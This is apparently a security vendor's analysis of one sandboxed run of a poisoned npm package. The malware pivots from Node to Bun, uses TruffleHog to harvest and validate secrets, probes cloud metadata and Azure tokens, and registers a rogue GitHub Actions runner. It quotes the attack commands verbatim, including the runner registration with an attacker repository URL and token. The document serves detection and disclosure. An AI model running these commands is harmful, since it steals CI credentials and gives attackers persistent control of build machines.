npm install @seung-ju/react-native-action-sheet@0.2.1 in garnet-labs/product-testing, run 19750364519. The install ran for over an hour. The lineage pivots from Node to Bun, scans /home/runner with TruffleHog, probes cloud metadata, and registers a GitHub Actions runner under attacker control. One install produced the full chain end to end.Public reporting documents the technique — install-time lifecycle hooks pivot from Node to Bun, then harvest npm tokens, GitHub PATs, and cloud credentials before registering a self-hosted GitHub Actions runner against an attacker-controlled repository (Check Point). The run below installs a package from a known-poisoned namespace on a Garnet-instrumented runner; the focus from here is what the record contains. The summarised record carries 14 outbound destinations with 2 flagged egress leaves (169.254.169.254 and api.tomorrow.io).
Execution lineage
Run 19750364519 · garnet-labs/product-testing
Install from npmjs
The lineage above shows the full ancestry from npm install to every branch the record contains. The preinstall hook fires sh -c "node setup_bun.js", which downloads the Bun runtime (bun.sh), stages it under ~/.dev-env/, and hands execution to bun bun_environment.js. From that point, most Node-only instrumentation goes blind — the heavy work no longer runs inside the Node/V8 process tree. The kernel record does not care which interpreter ran the work; it still carries every child process and socket.
Assertions flagged
| Check (class) | Granular id | Result | Evidence |
|---|---|---|---|
| Network egress | no_bad_egress_domain | fail | Outbound on the post-Bun ancestry to the cloud-metadata address 169.254.169.254 and to api.tomorrow.io (a Cloudflare-fronted weather API with no legitimate role in this job). |
What was observed
Process ancestry. The lineage opens with npm install → sh -c "node setup_bun.js" → bun bun_environment.js, then fans out into TruffleHog, Azure-credential probes, and the rogue-runner registration. The full ancestry is visible in the embedded record above; the four buckets below are the same tree, grouped by what the children did.
The four observable phases on the same ancestry:
-
Interpreter pivot (Node → Bun). The preinstall hook triggers
interpreter_shell_spawn. The Bun binary lands at~/.dev-env/bunand takes over execution. -
Credential harvest with TruffleHog. Under Bun, the record carries the download of TruffleHog (
~/.truffler-cache/trufflehog_3.91.1_linux_amd64) and the run against the entire runner home directory:bashtrufflehog filesystem /home/runner --jsonTruffleHog does not merely find secrets — it validates them against live APIs. The record carries outbound from this process to
keychecker.trufflesecurity.com(TruffleHog's own verification backend),api.cloudflare.com,api.aiven.io,api.box.com,github.com, andgitlab.com(both SSH on port 22 and HTTPS on 443). Each destination is a credential-verification attempt for a different service. Periodic re-scanning was observed on a rough beat (tens of minutes), consistent with waiting for late-arriving tokens mid-workflow rather than a one-shot harvest. -
Cloud-credential probes. In parallel, two paths into Azure credentials — CLI and PowerShell:
bashaz account get-access-token --output json --resource https://vault.azure.netpowershellpwsh -Command "Import-Module Az.Accounts"The Azure CLI command requests a Managed Identity token scoped for Key Vault. The outbound to
169.254.169.254:80(a flagged leaf in the lineage) carries thecloud_metadata_accessdetection. These commands are dual-use in real CI; the record makes them notable here because of where they sit on the ancestry — children ofnpm installunder the Bun pivot. -
Self-hosted runner registration. Visible as the
config.shbranch: the record carries the download of the official GitHub Actions runner binary (fromobjects.githubusercontent.com), unattended registration against an attacker-controlled repository, and the listener being backgrounded:bashRUNNER_ALLOW_RUNASROOT=1 ./config.sh \ --url https://github.com/Cpreet/lr8su68xsi5ew60p6k \ --unattended \ --token AJLWEOHS55OZFARDGWZFUZDJFD3XW \ --name "SHA1HULUD" nohup ./run.sh &A
Runner.Listenerprocess spawns underconfig.sh, connecting togithub.comto complete registration.hidden_elf_execfires on the execution from~/.dev-env/. Thenohup ./run.shbranch — orphaned from the original install process — holds the listener open after the install step exits. The record carries the registration response, the listener spawn, and the orphaning together on the same ancestry.
On the same ancestry the record also carries interpreter_shell_spawn (the preinstall hook, the Bun pivot, the Azure CLI subprocess), hidden_elf_exec (execution from the hidden ~/.dev-env/ directory), cloud_metadata_access and net_suspicious_tool_exec (the IMDS probe to 169.254.169.254), and credentials_files_access (TruffleHog walking /home/runner).
Network. Of the roughly 200 flows in the record, most map to TruffleHog validation endpoints or standard CI infrastructure. Two destinations are flagged: 169.254.169.254 (cloud-metadata) and api.tomorrow.io:443 (104.18.28.42), a Cloudflare-fronted weather API with no legitimate role in the job. Expected CI destinations (registry.npmjs.org, github.com, GitHub Actions infrastructure) are also in the record.
File / memory access. TruffleHog's filesystem scan covers /home/runner end to end. The Bun binary and TruffleHog binary both live under hidden directories (~/.dev-env/, ~/.truffler-cache/) — hidden_elf_exec fires on each. No procfs reads on this profile; the chain is filesystem-and-environment based.
Notable absences. No binary_self_deletion — the staged binaries stay on disk. No outbound from the orphaned Runner.Listener to a non-GitHub destination during the recorded window — the listener is positioned to receive future jobs, not to call out immediately.
Analysis
The interesting property of this record is that the install pivots runtimes mid-stream (Node → Bun) and then carries four very different branches (credential harvest, cloud-credential probe, self-hosted runner registration, lifecycle-hook persistence) under one ancestry. The kernel record binds the four branches to a single npm install and holds the runner-registration branch — which outlives the package itself — in the same artifact.
Garnet records process ancestry, file access, and network egress straight from the kernel for every workflow run by the Garnet GitHub Action. Interpreter pivots, secret-scanning subprocesses, metadata probes, and self-hosted runner registration all appear in the same artifact.
More field notes: Axios · TanStack runtime profiles · LiteLLM.